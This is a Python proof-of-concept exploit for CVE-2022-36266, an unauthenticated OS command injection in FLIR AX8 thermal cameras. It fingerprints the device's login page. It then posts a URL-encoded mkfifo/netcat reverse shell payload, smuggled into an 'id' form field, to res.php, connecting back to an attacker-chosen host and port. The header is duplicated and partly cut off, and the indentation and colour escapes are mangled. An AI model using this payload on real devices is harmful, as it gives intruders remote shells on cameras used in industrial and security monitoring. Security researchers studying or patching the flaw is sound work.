# -*- coding: utf-8 -*-

# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection
# Date: 8/19/2022
# Exploit Author: Samy Younsi Naqwada (https://samy.link)
# V # -*- coding: utf-8 -*-

# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection
# Date: 8/19/2022
# Exploit Author: Samy Younsi Naqwada (https://samy.link)
# Vendor Homepage: https://www.flir.com/
# Software Link: https://www.flir.com/products/ax8-automation/
# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok
# Version: 1.46.16 and under.
# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)
# CVE : CVE-2022-36266

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3
urllib3.disable_warnings()

def banner():
flirLogo = """
███████╗██╗ ██╗██████╗
██╔════╝██║ ██║██╔══██╗
█████╗ ██║ ██║██████╔╝
██╔══╝ ██║ ██║██╔══██╗
██║ ███████╗██║██║ ██║
╚═╝ ╚══════╝╚═╝╚═╝ ╚═╝
.---------------------.
█████╗ ██╗ ██╗ █████╗ /--'--.------.--------/|
██╔══██╗╚██╗██╔╝██╔══██╗ |Say :) |__Ll__| [==] ||
███████║ ╚███╔╝ ╚█████╔╝ |cheese!| .--. | '''' ||
██╔══██║ ██╔██╗ ██╔══██╗ | |( () )| ||
██║ ██║██╔╝ ██╗╚█████╔╝ | | `--` | |/
╚═╝ ╚═╝╚═╝ ╚═╝ ╚════╝ `-------`------`------`

33[1;92mSamy Younsi (Necrum Security Labs)33[1;m
33[1;91mFLIR AX8 Unauthenticated OS Command Injection33[1;m
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('33[1;94m{}33[1;m'.format(flirLogo))

def pingWebInterface(RHOST, RPORT):
url = 'http://{}:{}/login/'.format(RHOST, RPORT)
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
try:
if response.status_code != 200:
print('[!] 33[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.33[1;m')
exit()
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
version = soup.find('p', id = 'login-title').string
print('[INFO] {} detected.'.format(version))
except:
print('[ERROR] Can't grab the device version...')


def execReverseShell(RHOST, RPORT, LHOST, LPORT):
url = 'http://{}:{}/res.php'.format(RHOST, RPORT)
payload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)
data = 'action=alarm&id=2;{}'.format(payload)

headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}

try:
print('[INFO] Executing reverse shell...')
response = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)
print('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))
return
except Exception as e:
print('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)
return False


def main():
banner()
args = parser.parse_args()
pingWebInterface(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)


if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)
parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (FLIR AX8 device)", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main()